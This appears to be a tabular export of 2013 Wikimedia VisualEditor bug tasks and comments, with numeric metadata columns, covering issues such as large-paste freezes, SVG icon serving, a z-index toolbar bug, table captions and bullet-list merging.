**Severity**: enhancement",Medium,50.0,1367867040,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-o742mr6hjh6wsdblaanj,task_description,open,True,c1,1,False,False,,-8,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,12.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,5.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,4.456140350877193,0.7017543859649122,"I watched a user using Chrome paste a 32400-character buffer of special characters into VE.  Chrome became unresponsive. 

This user then did that in multiple tabs and the entire computer became unresponsive.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
233159,VisualEditor: Throttle or otherwise handle large copy-paste input,Marking as an enhancement with normal priority (nice-to-have).,,,1367870640,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o742mr6hjh6wsdblaanj,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,3.6666666666666665,0.9333333333333333,Marking as an enhancement with normal priority (nice-to-have).
50148,VisualEditor: Serve interface components as SVGs over PNGs to any browser which supports it,"(Provided we are happy with the rendering quality)

Currently we only serve SVGs when window.devicePixelRatio > 1.

On suggested test for SVG support is:

document.createElementNS && document.createElementNS( 'http://www.w3.org/2000/svg', 'svg' ).createSVGRect

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1367837220,1368135541.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-pgpcd7rvhd6x44lw4xo5,task_description,resolved,True,c1,1,True,False,True,-8,,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,3.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,13.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,5.0,10.0,0.0,5.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,4.688524590163935,0.6721311475409836,"(Provided we are happy with the rendering quality)

Currently we only serve SVGs when window.devicePixelRatio > 1.

On suggested test for SVG support is:

document.createElementNS && document.createElementNS( 'URL 'svg' ).createSVGRect

--------------------------
**Version**: unspecified
**Severity**: enhancement"
231683,VisualEditor: Serve interface components as SVGs over PNGs to any browser which supports it,Merged for wmf4.,,,1368135541,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pgpcd7rvhd6x44lw4xo5,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Merged for wmf4.
231677,VisualEditor: Serve interface components as SVGs over PNGs to any browser which supports it,Related URL: https://gerrit.wikimedia.org/r/62959 (Gerrit Change Iafe8cd290fb195369776f51a96b6de4a51577b89),,,1368095219,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pgpcd7rvhd6x44lw4xo5,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Iafe8cd290fb195369776f51a96b6de4a51577b89)
231675,VisualEditor: Serve interface components as SVGs over PNGs to any browser which supports it,Let's do this. Trevor says we're happy with the rendering quality and the device load for desktop; I suggest keeping the PNGs around for mobile clients.,,,1368050588,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pgpcd7rvhd6x44lw4xo5,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,0.0,13.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.096774193548387,0.8709677419354839,Let's do this. Trevor says we're happy with the rendering quality and the device load for desktop; I suggest keeping the PNGs around for mobile clients.
50078,VisualEditor: Vector drop down menu hidden behind toolbar,"As the title says: when the VisualEditor is active, the drop down menu (p-caction) under Vector skin is dropped down behind the VE toolbar, making it impossible to click on. May be a simple z-index issue.",Medium,50.0,1367661720,1368205844.0,PHID-USER-t4cbxxxhiswoecybwxy2,False,,False,PHID-TASK-6kpwltejynowd5ns5iud,task_description,resolved,True,c1,1,False,False,True,-9,,0.0,0.0,0.0,2.0,0.0,6.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,11.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,15.0,6.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.595744680851064,0.8297872340425532,"As the title says: when the VisualEditor is active, the drop down menu (p-caction) under Vector skin is dropped down behind the VE toolbar, making it impossible to click on. May be a simple z-index issue."
227626,VisualEditor: Vector drop down menu hidden behind toolbar,Merged; thanks Kaldari! Will go out in wmf4.,,,1368205844,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6kpwltejynowd5ns5iud,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.3636363636363638,1.0,Merged; thanks Kaldari! Will go out in wmf4.
227622,VisualEditor: Vector drop down menu hidden behind toolbar,Assigning given that Kaldari's fixing it in core for us. :-),,,1368150497,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6kpwltejynowd5ns5iud,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,23.0,8.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,3.8461538461538463,1.0,Assigning given that Kaldari's fixing it in core for us. :-)
227617,VisualEditor: Vector drop down menu hidden behind toolbar,Related URL: https://gerrit.wikimedia.org/r/63099 (Gerrit Change I61daea50209d040f7e0f71207a4e90998c15083f),,,1368146651,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6kpwltejynowd5ns5iud,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I61daea50209d040f7e0f71207a4e90998c15083f)
227611,VisualEditor: Vector drop down menu hidden behind toolbar,"Unfortunately, this was caused by the fix to bug 37158.
https://gerrit.wikimedia.org/r/#/c/31288",,,1368144377,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-6kpwltejynowd5ns5iud,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,1.0,"Unfortunately, this was caused by the fix to bug 37158.
URL"
227606,VisualEditor: Vector drop down menu hidden behind toolbar,Also brought up here: https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=553770320#Notifications_gadget.27s_z-index,,,1367845014,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-6kpwltejynowd5ns5iud,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Also brought up here: URL
227602,VisualEditor: Vector drop down menu hidden behind toolbar,"This also holds true for Echo, which also has z-index -100.",,,1367842628,,PHID-USER-t4cbxxxhiswoecybwxy2,False,,,PHID-TASK-6kpwltejynowd5ns5iud,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2666666666666666,0.9333333333333333,"This also holds true for Echo, which also has z-index -100."
50070,VisualEditor: Table captions were alienated so looked wrong and couldn't be edited,"Expected layout

I included two screenshots, illustrating the problem.

Apple Safari 6, Mountain Lion

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://en.wikipedia.org/wiki/Meurchin

**Attached**: {F10895}",Medium,50.0,1367650560,1367681845.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-hg7swbc4ekjgxojfr5bz,task_description,resolved,True,c1,1,True,False,True,-9,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,22.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.581818181818182,0.5454545454545454,"Expected layout

I included two screenshots, illustrating the problem.

Apple Safari 6, Mountain Lion

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL

**Attached**: {F10895}"
227097,VisualEditor: Table captions were alienated so looked wrong and couldn't be edited,This is fixed in master (see gerrit 60940) and will be deployed to the English Wikipedia on Monday as part of the wmf3 roll-out. You can see how it should work in a test page on MediaWiki.org: https://www.mediawiki.org/wiki/VisualEditor:TableCaptionTest,,,1367681845,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hg7swbc4ekjgxojfr5bz,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,18.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,5.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,5.0,16.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,5.0,18.0,11.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.6136363636363638,0.9090909090909091,This is fixed in master (see gerrit 60940) and will be deployed to the English Wikipedia on Monday as part of the wmf3 roll-out. You can see how it should work in a test page on MediaWiki.org: URL
227093,VisualEditor: Table captions were alienated so looked wrong and couldn't be edited,"Created attachment 12258
Content edit result

**Attached**: {F10896}",,,1367650645,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-hg7swbc4ekjgxojfr5bz,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7058823529411766,0.8235294117647058,"Created attachment 12258
Content edit result

**Attached**: {F10896}"
50051,VisualEditor: Newly-created list items are deliberately not merged with nearby lists - change this?,"In Firefox 20.0.1:

1. Edit a page that has a bulleted list.
2. Place the cursor on the first bullet item.
3. Click the ""Bullet List"" button. The first bullet item loses its bullet. (Correct.)
4. Click the ""Bullet List"" button a second time. The first bullet comes back (correct), but there is now a blank line displayed below it.

Similarly, if you remove & add a bullet in the middle of the list, you get blank lines above AND below the item.

Similarly, if you do this with a numbered list, the blank line breaks the numbering: the list items below the blank line start over from ""1"".

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1367598960,,PHID-USER-o5tv5cyrple4fn5xqopm,False,,False,PHID-TASK-yr7732vg2ebd5ndyalb6,task_description,open,True,c1,1,False,False,,-9,,0.0,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,1.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,5.0,0.0,1.0,0.5,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.5,0.0,14.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,10.5,0.5,9.5,1.0,1.5,11.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,3.0,7.0,3.0,0.0,3.0,0.0,3.0,0.0,0.5,3.0,0.0,0.0,0.0,0.0,2.0,3.4490364348087925,0.5765582655826558,"In Firefox 20.0.1:

1. Edit a page that has a bulleted list.
2. Place the cursor on the first bullet item.
3. Click the ""Bullet List"" button. The first bullet item loses its bullet. (Correct.)
4. Click the ""Bullet List"" button a second time. The first bullet comes back (correct), but there is now a blank line displayed below it.

Similarly, if you remove & add a bullet in the middle of the list, you get blank lines above AND below the item.

Similarly, if you do this with a numbered list, the blank line breaks the numbering: the list items below the blank line start over from ""1"".

--------------------------
**Version**: unspecified
**Severity**: enhancement"
225763,VisualEditor: Newly-created list items are deliberately not merged with nearby lists - change this?,"FWIW, I also just checked OpenOffice.org, and they also simply remove and restore the bullet, keeping a single bulleted list.",,,1368137966,,PHID-USER-o5tv5cyrple4fn5xqopm,False,,,PHID-TASK-yr7732vg2ebd5ndyalb6,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.416666666666667,0.8333333333333334,"FWIW, I also just checked OpenOffice.org, and they also simply remove and restore the bullet, keeping a single bulleted list."
225754,VisualEditor: Newly-created list items are deliberately not merged with nearby lists - change this?,"(In reply to comment #2)
> Interesting point. I think nontechnical end-users will have a different
> perspective, however. Both Microsoft Word and Google Docs will produce a
> single bulleted list as the result. Your users are going to be accustomed to
> that behavior.

Possibly.

> When an end-user clicks the button the first time, and the bullet disappears,
> they won't be thinking that ""a bulleted list has become two lists."" They'll
> simply think ""a bullet symbol has been removed.""

Not two lists - they'll have a paragraph and a list.

I'll make sure we do some real-world tests with non-technical people to come to a decision on this.",,,1368135721,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yr7732vg2ebd5ndyalb6,task_subcomment,,True,c1,1,True,,,-8,,2.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,17.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,6.0,0.0,3.0,0.0,5.0,9.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.15625,0.640625,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE

Possibly.

QUOTE
QUOTE
QUOTE

Not two lists - they'll have a paragraph and a list.

I'll make sure we do some real-world tests with non-technical people to come to a decision on this."
225746,VisualEditor: Newly-created list items are deliberately not merged with nearby lists - change this?,"Interesting point. I think nontechnical end-users will have a different perspective, however. Both Microsoft Word and Google Docs will produce a single bulleted list as the result. Your users are going to be accustomed to that behavior.

When an end-user clicks the button the first time, and the bullet disappears, they won't be thinking that ""a bulleted list has become two lists."" They'll simply think ""a bullet symbol has been removed.""",,,1368130302,,PHID-USER-o5tv5cyrple4fn5xqopm,False,,,PHID-TASK-yr7732vg2ebd5ndyalb6,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,2.0,1.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,1.0,0.0,4.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,7.0,3.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,10.0,4.0,11.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,4.0,4.0,4.0,0.0,4.0,0.0,4.0,0.0,1.0,5.0,0.0,2.0,0.0,0.0,0.0,4.076923076923077,0.6813186813186813,"Interesting point. I think nontechnical end-users will have a different perspective, however. Both Microsoft Word and Google Docs will produce a single bulleted list as the result. Your users are going to be accustomed to that behavior.

When an end-user clicks the button the first time, and the bullet disappears, they won't be thinking that ""a bulleted list has become two lists."" They'll simply think ""a bullet symbol has been removed."""
225743,VisualEditor: Newly-created list items are deliberately not merged with nearby lists - change this?,"(In reply to comment #0)
> In Firefox 20.0.1:
> 
> 1. Edit a page that has a bulleted list.
> 2. Place the cursor on the first bullet item.
> 3. Click the ""Bullet List"" button. The first bullet item loses its bullet.
> (Correct.)
> 4. Click the ""Bullet List"" button a second time. The first bullet comes back
> (correct), but there is now a blank line displayed below it.
> 
> Similarly, if you remove & add a bullet in the middle of the list, you get
> blank lines above AND below the item.
> 
> Similarly, if you do this with a numbered list, the blank line breaks the
> numbering: the list items below the blank line start over from ""1"".

Yes, because otherwise we'd be unexpectedly merging a <p> with a following <ul> (or whatever). You can always actively choose to merge the lists from this position by deleting the blank line between the lists (technically, this is a slug).

This is the deliberately-chosen behaviour for this. I take it you'd expect lists to instead automatically merge, and you'd have to split them rather than the other way around? X followed by X is not generally a direct reverse step (that's what undo is for), but you expected it to work that way around?",,,1368127673,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yr7732vg2ebd5ndyalb6,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.5,2.5,2.0,0.5,0.0,0.0,1.5,2.0,0.0,0.0,0.0,1.0,0.0,8.0,8.5,0.0,3.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.5,2.0,0.0,4.0,1.5,1.5,1.0,2.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,9.0,2.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.5,0.0,0.0,0.0,5.0,3.0,11.0,0.5,2.0,9.5,0.0,0.0,0.0,0.5,5.0,0.0,0.5,0.0,5.5,8.5,6.5,1.5,0.0,0.0,5.5,0.0,1.0,2.5,0.5,1.5,0.0,0.0,3.0,3.548442064264849,0.6308828302499189,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes, because otherwise we'd be unexpectedly merging a <p> with a following <ul> (or whatever). You can always actively choose to merge the lists from this position by deleting the blank line between the lists (technically, this is a slug).

This is the deliberately-chosen behaviour for this. I take it you'd expect lists to instead automatically merge, and you'd have to split them rather than the other way around? X followed by X is not generally a direct reverse step (that's what undo is for), but you expected it to work that way around?"
50010,VisualEditor: Indent buttons should be used for in-/out-denting paragraphs as well as lists.,"The indent and outdent buttons are always grayed out.

(reported at http://de.wikipedia.org/wiki/Wikipedia:Technik/Text/Edit/VisualEditor/Alpha2013-04#Link_einbinden_.2F_Einzug)

--------------------------
**Version**: unspecified
